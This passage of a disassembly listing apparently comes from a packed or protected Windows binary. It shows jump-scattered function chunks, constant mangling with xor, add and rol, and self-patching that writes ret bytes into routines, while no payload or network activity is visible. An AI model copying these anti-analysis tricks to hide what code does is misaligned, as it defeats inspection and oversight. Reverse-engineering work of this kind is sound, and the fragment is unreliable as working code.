--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_44128A: ; CODE XREF: sub_43FBC3-4745j mov esi, [ecx] jo sub_44256D loc_441292: ; CODE XREF: sub_43FBC3:loc_43B4DCj push ecx call sub_4411BD loc_441298: ; CODE XREF: sub_4432B8+107j jmp loc_43DA03 ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- add ebp, 136A1B06h jmp loc_44ACE8 ; --------------------------------------------------------------------------- loc_4412A8: ; CODE XREF: y22d6.y.:loc_44BDF0j call sub_443C95 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4412AD: ; CODE XREF: sub_448EB6:loc_44933Ej ; y22d6.y.:0044935Bj add ecx, 0A4E7EBEFh xchg ecx, [esp-8+arg_4] jmp loc_445062 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4395B1 loc_4412BB: ; CODE XREF: sub_4395B1+10j call sub_438953 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_2 pop ecx pop ecx jmp loc_44C1DB ; END OF FUNCTION CHUNK FOR sub_4395B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_4412D2: ; CODE XREF: sub_44066C:loc_44C57Dj jz loc_43738F jmp loc_44B75B ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- loc_4412DD: ; DATA XREF: sub_445A15:loc_43B1A4o add esi, 0F65C1F8Dh xor eax, esi pop esi ror eax, 1Bh jmp loc_44C8AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4412EE: ; CODE XREF: sub_448EB6-F9D2j push ecx pushf push 80B55CB7h pop ecx rol ecx, 2 jmp loc_448D92 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- jbe loc_439BC5 jmp sub_44CFDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43734D loc_441309: ; CODE XREF: sub_43734D:loc_43C85Aj mov ebp, esp loc_44130B: ; CODE XREF: sub_43C242:loc_44024Cj call sub_43C3DD loc_441310: ; CODE XREF: sub_44ACEA-7AF0j jmp loc_43D463 ; END OF FUNCTION CHUNK FOR sub_43734D ; --------------------------------------------------------------------------- mov ds:dword_41E164, eax loc_44131B: ; CODE XREF: y22d6.y.:00440D06j push offset sub_447A76 jmp loc_43BE52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_441325: ; CODE XREF: sub_44193A:loc_43B291j jz loc_44A8E1 jmp loc_44C8F8 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D9D2 loc_441330: ; CODE XREF: sub_43D9D2:loc_43A0BAj add eax, [esp+4+var_4] adc edx, [esp+4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] jmp loc_444613 ; END OF FUNCTION CHUNK FOR sub_43D9D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440D9E loc_44134E: ; CODE XREF: sub_440D9E+Cj add eax, 0E371A200h mov eax, [eax] push offset loc_44D5A3 jmp loc_447CF0 ; END OF FUNCTION CHUNK FOR sub_440D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_441360: ; CODE XREF: sub_439051+EAF1j sub edx, 25777652h add edx, 7B4AEE76h xor eax, edx pop edx ror eax, 19h mov edx, [esp-8+arg_4] jmp loc_442F40 ; END OF FUNCTION CHUNK FOR sub_439051 ; =============== S U B R O U T I N E ======================================= sub_44137A proc near ; CODE XREF: y22d6.y.:0044D7D5j ; y22d6.y.:0044E271p xchg ebx, [esp+0] pop ebx sub_44137A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44137E: ; CODE XREF: sub_44DB81:loc_43B10Fj call sub_43F7FF mov ds:off_41E01C, eax lea eax, loc_43E343 jmp loc_439B65 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- shl eax, 4 jmp sub_4408CF ; --------------------------------------------------------------------------- dword_44139C dd 0D77E7A5Fh ; DATA XREF: sub_43FBC3-5C34r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443C3C loc_4413A0: ; CODE XREF: sub_443C3C+1j jmp sub_44B489 ; END OF FUNCTION CHUNK FOR sub_443C3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_4413A5: ; CODE XREF: sub_4409F4-79C0j jmp loc_43F415 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- dw 6153h dword_4413AC dd 0 ; DATA XREF: y22d6.y.:loc_43EC8Bw ; sub_4432B8+300r dword_4413B0 dd 0 ; DATA XREF: sub_43EC92+6r ; sub_445604+5w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449F1B loc_4413B4: ; CODE XREF: sub_449F1B+11j jmp nullsub_323 ; END OF FUNCTION CHUNK FOR sub_449F1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442266 loc_4413B9: ; CODE XREF: sub_442266+16j jmp loc_43DE80 ; END OF FUNCTION CHUNK FOR sub_442266 ; --------------------------------------------------------------------------- loc_4413BE: ; CODE XREF: y22d6.y.:0043F6FBj jmp loc_43BF82 ; --------------------------------------------------------------------------- db 5Ah dword_4413C4 dd 39B27375h, 64C59199h ; DATA XREF: sub_43EC92+B34Ao db 8Dh, 0D8h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A413 loc_4413CF: ; CODE XREF: sub_44A413+14j jmp loc_44C70D ; END OF FUNCTION CHUNK FOR sub_44A413 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_4413D4: ; CODE XREF: sub_437B43+2697j jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- db 2Fh, 0EFh, 6Ch dword_4413DC dd 0 ; DATA XREF: sub_43FFE2-72B7o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C322 loc_4413E0: ; CODE XREF: sub_44C322-61E2j jmp loc_43B026 ; END OF FUNCTION CHUNK FOR sub_44C322 ; --------------------------------------------------------------------------- db 50h, 73h, 92h dword_4413E8 dd 153940h ; DATA XREF: sub_43FFE2-72ADr ; sub_43E196+5w ... ; --------------------------------------------------------------------------- loc_4413EC: ; CODE XREF: y22d6.y.:0044796Cj jmp loc_438491 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_4413F1: ; CODE XREF: sub_449641-F8B1j jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- dw 8341h dword_4413F8 dd 0 ; DATA XREF: sub_43CBD3:loc_44946Ar ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4413FC: ; CODE XREF: sub_448EB6-1C74j jmp loc_43D63E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- pop edx pop eax push ebx push 0E13CD919h jmp loc_43FD14 ; --------------------------------------------------------------------------- loc_44140E: ; CODE XREF: y22d6.y.:00438D77j mov [esi], eax pop esi lea eax, sub_43CA62 mov byte ptr [eax], 0C3h jmp loc_44DC07 ; --------------------------------------------------------------------------- loc_44141F: ; CODE XREF: y22d6.y.:00443F77j mov eax, [esp] push edx call sub_442C0C jmp loc_44E02A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44142D: ; CODE XREF: sub_448EB6:loc_4484ADj xchg eax, [esp+4+var_4] call sub_44A46F mov eax, 0BC7399C0h call sub_43CA1A mov ds:off_41E0BC, eax lea eax, sub_44D73B mov byte ptr [eax], 0C3h jmp loc_43DAD3 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_441453 proc near ; CODE XREF: sub_4017FD+4Bp ; sub_441453:loc_43DA92j ; DATA XREF: ... ; FUNCTION CHUNK AT 0043DA92 SIZE 00000006 BYTES call sub_43DA98 jmp loc_43DA92 sub_441453 endp ; --------------------------------------------------------------------------- loc_44145D: ; CODE XREF: y22d6.y.:loc_44A7A4j shr edx, 0Eh or eax, 65A65EDAh jmp loc_44D964 ; =============== S U B R O U T I N E ======================================= sub_44146B proc near ; CODE XREF: y22d6.y.:00439673j ; sub_438B66+35E9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044611F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B5F9 SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx push 3C009885h pop edx xor edx, 1B551B93h jmp loc_44B5F9 sub_44146B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_441480: ; CODE XREF: y22d6.y.:loc_448BE7j add ecx, 30D5F36Eh xchg ecx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44148E: ; CODE XREF: sub_44271A-636Dj sub ebx, 0EA94AB75h or edi, edx not esi sub edx, 71117000h jmp loc_4388A2 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- loc_4414A3: ; CODE XREF: y22d6.y.:loc_43762Ej jz loc_43E68F xchg edx, ebx jmp loc_43E68D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9F3 loc_4414B0: ; CODE XREF: sub_43B9F3:loc_44300Ej pop ebp xchg ebp, [esp+0] call sub_438E86 push 0B99B53F5h pop eax jmp loc_43E4DE ; END OF FUNCTION CHUNK FOR sub_43B9F3 ; =============== S U B R O U T I N E ======================================= sub_4414C4 proc near ; DATA XREF: sub_438077:loc_43CA6Do add esi, 1C0766D2h sub eax, esi pop esi xor eax, 57B3BF20h jmp loc_448368 sub_4414C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_4414D8: ; CODE XREF: sub_43E5C2j mov eax, ds:dword_43A6D8 push offset loc_4462EB jmp nullsub_294 ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; =============== S U B R O U T I N E ======================================= sub_4414E8 proc near ; CODE XREF: y22d6.y.:0043E2A3p ; y22d6.y.:0044D4C6j ; FUNCTION CHUNK AT 0044322F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044794F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push esi push 0D5842B63h jmp loc_44794F sub_4414E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_4414F7: ; CODE XREF: sub_44D6D0-100B1j ja loc_43D0BB mov [ebp+0], esi jmp loc_44D3F4 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- loc_441505: ; CODE XREF: y22d6.y.:004489CAj pop edi xchg edx, [ecx] pushf jmp loc_4425C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44150E: ; CODE XREF: sub_4432B8:loc_4432DAj push offset loc_43F9BC jmp loc_4383CB ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_441518: ; CODE XREF: sub_44C980:loc_437DB8j push offset sub_43B9D9 jmp nullsub_259 ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_441522: ; CODE XREF: sub_4385ED:loc_4400CBj lea eax, loc_446405 mov byte ptr [eax], 0C3h jmp loc_446405 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- call nullsub_322 jmp ds:dword_41E08C ; --------------------------------------------------------------------------- loc_44153B: ; CODE XREF: y22d6.y.:00445F88j jmp loc_44BCC8 ; --------------------------------------------------------------------------- loc_441540: ; CODE XREF: y22d6.y.:004423D7j jmp sub_43AB31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_441545: ; CODE XREF: sub_44633F:loc_4393A6j lea eax, sub_44633F mov byte ptr [eax], 0C3h jmp sub_44633F ; --------------------------------------------------------------------------- loc_441553: ; CODE XREF: sub_44633Fj pop edx mov eax, [esp-4+arg_0] push edx call sub_438E86 push 42F5D28Bh pop eax jmp loc_43792F ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_441568: ; CODE XREF: y22d6.y.:0043F0E1j or esi, 6836C6h ; =============== S U B R O U T I N E ======================================= sub_44156E proc near ; CODE XREF: sub_439051+A638p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043A68E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004408B2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440B73 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044326E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B6A7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044C6CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D213 SIZE 00000017 BYTES xchg esi, [esp+0] pop esi or eax, eax jmp loc_44C6CA sub_44156E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_441579: ; CODE XREF: sub_44BCC2:loc_43AC74j mov edx, ebx pop ebx or edx, 8B4B68E4h loc_441582: ; CODE XREF: sub_44123E-A40j sub edx, 75F663A2h and edx, 617EDB1Dh xor edx, 3AEBDC8Dh jmp loc_4396CF ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_441599: ; CODE XREF: sub_44057E+D6F5j sub edi, 326BB678h jl loc_448A27 loc_4415A5: ; CODE XREF: sub_44057E+D6E9j add esi, 163E4D24h xchg esi, [esp+4+var_4] jmp loc_438BAA ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A7A9 loc_4415B3: ; CODE XREF: sub_44A7A9+1Fj sub eax, ebx pop ebx mov ds:dword_4425CC, eax ; END OF FUNCTION CHUNK FOR sub_44A7A9 ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_4415BC: ; CODE XREF: sub_43C6D7+2j ; sub_43B252+943Aj push ecx push 0B0FBF40h jmp loc_43B6ED ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44928B loc_4415C7: ; CODE XREF: sub_44928B+4j pop edx pop ebx loc_4415C9: ; CODE XREF: sub_4477E6:loc_439AF8j jz loc_44844B mov eax, [esp-8+arg_4] call sub_444D45 loc_4415D7: ; CODE XREF: sub_43E81B+B804j jmp loc_44E144 ; END OF FUNCTION CHUNK FOR sub_44928B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4482CF loc_4415DC: ; CODE XREF: sub_4482CF-370Cj jmp locret_44B1B5 ; END OF FUNCTION CHUNK FOR sub_4482CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_4415E1: ; CODE XREF: sub_43FFE2+Cj jmp loc_438D2A ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4415E6: ; CODE XREF: sub_438B66+7j jmp loc_43E809 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4415EB: ; CODE XREF: sub_439051-ECAj jmp loc_4434A2 ; END OF FUNCTION CHUNK FOR sub_439051 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_348. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_4415F1: ; CODE XREF: sub_449641+Dj jmp loc_438141 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_4415F6: ; CODE XREF: sub_43B252-3B70j jno loc_443675 shr edx, 14h push eax jmp loc_44E2FC ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- loc_441605: ; CODE XREF: y22d6.y.:00440E50j push edx sub esi, 0FF72B67Bh mov [edx], ebx ; START OF FUNCTION CHUNK FOR sub_43F224 loc_44160E: ; CODE XREF: sub_43F224:loc_440E2Ej sub eax, 0DBB75757h jmp loc_441B70 ; END OF FUNCTION CHUNK FOR sub_43F224 ; =============== S U B R O U T I N E ======================================= sub_441619 proc near ; CODE XREF: y22d6.y.:00439C34p ; sub_43B252+D2D1j ; FUNCTION CHUNK AT 00444F1A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00447EAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AECC SIZE 0000000E BYTES xchg edi, [esp+0] pop edi push edx push 6D183F2h pop edx add edx, 50D83D4Ch jmp loc_444F1A sub_441619 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44162F: ; CODE XREF: sub_4432B8:loc_4380C8j mov byte ptr [eax], 0C3h jmp sub_44AA5D ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_441637 proc near ; CODE XREF: sub_403249+2DBp ; .text:00409486p ... call sub_441651 jmp ds:off_41E068 sub_441637 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E357 loc_441642: ; CODE XREF: sub_44E357+10j jmp loc_441F1B ; END OF FUNCTION CHUNK FOR sub_44E357 ; --------------------------------------------------------------------------- loc_441647: ; CODE XREF: y22d6.y.:0044DD59j jmp loc_444101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_44164C: ; CODE XREF: sub_43B878+86D0j jmp loc_43E753 ; END OF FUNCTION CHUNK FOR sub_43B878 ; =============== S U B R O U T I N E ======================================= sub_441651 proc near ; CODE XREF: sub_441637p ; sub_43D16D:loc_4438E7j ... call sub_437B43 loc_441656: ; CODE XREF: sub_43FF1B+7874j jmp nullsub_43 sub_441651 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FEC6 loc_44165B: ; CODE XREF: sub_43FEC6+7j jmp loc_43A087 ; END OF FUNCTION CHUNK FOR sub_43FEC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_441660: ; CODE XREF: sub_437B43+10j jmp loc_447FAA ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_441665: ; CODE XREF: sub_444427-4776j xor edi, ecx loc_441667: ; CODE XREF: sub_444427:loc_43FCA6j and esi, 52EB39DAh cmp esi, 4878428Ch jmp loc_441962 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- loc_441678: ; CODE XREF: y22d6.y.:loc_43E2A8j or esi, 0AEB23139h test esi, 20000000h jmp loc_448F1F ; --------------------------------------------------------------------------- loc_441689: ; CODE XREF: y22d6.y.:004425A1j xor ecx, ebx ; START OF FUNCTION CHUNK FOR sub_43AD3D loc_44168B: ; CODE XREF: sub_43AD3D+1135Bj or edx, 580E6FCCh xor edx, 48BBE3E9h add edx, ebp add edx, 0E84A73C5h jmp loc_43E897 ; END OF FUNCTION CHUNK FOR sub_43AD3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D460 loc_4416A4: ; CODE XREF: sub_44D460:loc_43E0EEj xchg ebx, [esp+0] jmp loc_445259 ; END OF FUNCTION CHUNK FOR sub_44D460 ; --------------------------------------------------------------------------- mov ds:off_41E1A0, eax lea eax, loc_449269 mov byte ptr [eax], 0C3h jmp loc_449269 ; =============== S U B R O U T I N E ======================================= sub_4416C0 proc near ; CODE XREF: sub_40CA0C+BEp ; sub_40E68F+D9p ... call sub_4416CB jmp ds:off_41E1A4 sub_4416C0 endp ; =============== S U B R O U T I N E ======================================= sub_4416CB proc near ; CODE XREF: sub_4416C0p ; y22d6.y.:004492E4j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004380BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043954D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004397EE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043A96B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043E009 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444031 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004492E9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B8D4 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0044E29F SIZE 0000000B BYTES pop edx jmp loc_43A96B sub_4416CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4416D1: ; CODE XREF: y22d6.y.:loc_444561j lea eax, nullsub_15 mov byte ptr [eax], 0C3h jmp nullsub_15 ; --------------------------------------------------------------------------- loc_4416DF: ; CODE XREF: y22d6.y.:loc_446321j mov eax, [esp] push edx call sub_44B674 push 0EAB49422h pop eax jmp loc_44AC56 ; =============== S U B R O U T I N E ======================================= sub_4416F3 proc near ; CODE XREF: sub_4432B8+186j ; sub_448EB6:loc_448F4Bp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004370B4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043A220 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A945 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043AC79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C155 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ED98 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043FF03 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00440EB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440F47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441D27 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442E39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004438EC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00447534 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00448D6A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044941A SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0044B36B SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0044D00E SIZE 0000001E BYTES xchg eax, [esp+0] pop eax xor edx, 0D1A1EDBDh add edx, ebp add edx, 0D8B346A4h mov edx, [edx] loc_441707: ; CODE XREF: sub_43A58D:loc_43F736j imul byte ptr [edx] cmp al, 0A4h jmp loc_43AC79 sub_4416F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_441710: ; CODE XREF: sub_446F34:loc_441D67j or eax, 0ED8A014h add eax, 31763899h call sub_43CA1A push edi push 0F91C0190h pop edi xor edi, 8BF4D230h add edi, 8D590D08h jmp loc_43E384 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439BCA loc_441739: ; CODE XREF: sub_439BCA+6j xchg edi, [esp+0] mov ebp, edi xchg edx, [esp+0] mov edi, edx ; END OF FUNCTION CHUNK FOR sub_439BCA ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_441743: ; CODE XREF: sub_43FBC3+4j jmp loc_43D374 ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_441748: ; CODE XREF: sub_44BCC2-10BE4j add eax, 4D9EF49h add eax, ebp add eax, 4D640F33h mov eax, [eax] cmp byte ptr [eax], 0 jmp loc_44B91A ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4373B9 loc_441760: ; CODE XREF: sub_4373B9+Bj xor edi, 6C611D84h add edi, 0F7295F0Fh or edi, 5B56A65Bh rol edi, 0Fh add edi, 0AD14DB5Dh jmp loc_44BD0E ; END OF FUNCTION CHUNK FOR sub_4373B9 ; --------------------------------------------------------------------------- jns loc_4423FC jmp loc_43C537 ; --------------------------------------------------------------------------- jo loc_43D617 jmp loc_44CDAC ; --------------------------------------------------------------------------- loc_441796: ; CODE XREF: y22d6.y.:0043B6E8j add edi, edx ; START OF FUNCTION CHUNK FOR sub_438B66 loc_441798: ; CODE XREF: sub_438B66:loc_43B6BCj and eax, 0AC3FF4B7h test eax, 1000h jmp loc_4375A0 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- loc_4417A9: ; CODE XREF: y22d6.y.:0044DB9Cj pop edx rol edx, 1Eh add edx, 1F78CEDBh mov edx, [edx] or edx, edx jnz loc_443BC5 jmp loc_43EF9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_4417C2: ; CODE XREF: sub_44633F:loc_4385C1j lea eax, sub_43A148 mov byte ptr [eax], 0C3h jmp loc_44ACFA ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_4417D0: ; CODE XREF: sub_43A148+1j mov eax, [esp-4+arg_0] push edx call sub_44AEA5 loc_4417D9: ; CODE XREF: y22d6.y.:0043F580j jmp loc_43AFBD ; END OF FUNCTION CHUNK FOR sub_43A148 ; --------------------------------------------------------------------------- loc_4417DE: ; CODE XREF: y22d6.y.:0043C488j popf loc_4417DF: ; CODE XREF: y22d6.y.:loc_44096Dj mov eax, [esp] call sub_4396B2 loc_4417E7: ; CODE XREF: y22d6.y.:loc_43AAD4j ; y22d6.y.:00443D0Bj push offset sub_44E313 jmp locret_43961C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4417F1: ; CODE XREF: sub_4432B8:loc_43A43Cj jnz loc_437EA8 jmp loc_44D867 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C22F loc_4417FC: ; CODE XREF: sub_43C22F+5D42j jnz loc_446EA5 ; END OF FUNCTION CHUNK FOR sub_43C22F ; START OF FUNCTION CHUNK FOR sub_44057E loc_441802: ; CODE XREF: sub_44057E+D7ABj jmp loc_43D7BF ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CD2E loc_441807: ; CODE XREF: sub_44CD2E+8j jmp nullsub_228 ; END OF FUNCTION CHUNK FOR sub_44CD2E ; --------------------------------------------------------------------------- add ebp, 0F83E56Fh jmp loc_446EA4 ; --------------------------------------------------------------------------- loc_441817: ; CODE XREF: y22d6.y.:loc_44DF38j pop eax rol eax, 4 add eax, 0D93415B9h xchg eax, [esp] jmp loc_43B861 ; --------------------------------------------------------------------------- locret_441829: ; CODE XREF: y22d6.y.:0043FE11j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_44182A: ; CODE XREF: sub_442856+B9C9j jmp loc_438118 ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_44182F: ; CODE XREF: sub_43872E+B15Fj jmp loc_4385A7 ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_441834: ; CODE XREF: sub_44364E+B8j ; y22d6.y.:loc_44E080j jmp loc_43A344 ; END OF FUNCTION CHUNK FOR sub_44364E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] dw 3192h dword_44183C dd 265DF9E8h ; DATA XREF: sub_43C3DD-2B3Er ; sub_448EB6:loc_43BA83w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EE2C loc_441840: ; CODE XREF: sub_43EE2C+Aj jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_43EE2C ; --------------------------------------------------------------------------- db 2Dh, 0C9h, 3 dword_441848 dd 0F77E7166h ; DATA XREF: sub_43AC5C+A29r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_44184C: ; CODE XREF: sub_447BB2-984Cj jmp loc_444887 ; END OF FUNCTION CHUNK FOR sub_447BB2 ; --------------------------------------------------------------------------- db 25h, 96h, 84h dword_441854 dd 377E736Ah ; DATA XREF: y22d6.y.:00446279r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_441858: ; CODE XREF: sub_44E5C7-6867j jmp loc_44260F ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- db 0D3h, 0BBh, 21h dword_441860 dd 0F8223BF3h ; DATA XREF: sub_43AD2F-3951w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_441864: ; CODE XREF: sub_448EB6-195j jmp loc_43BE7C ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- db 25h, 72h, 51h dword_44186C dd 0 ; DATA XREF: 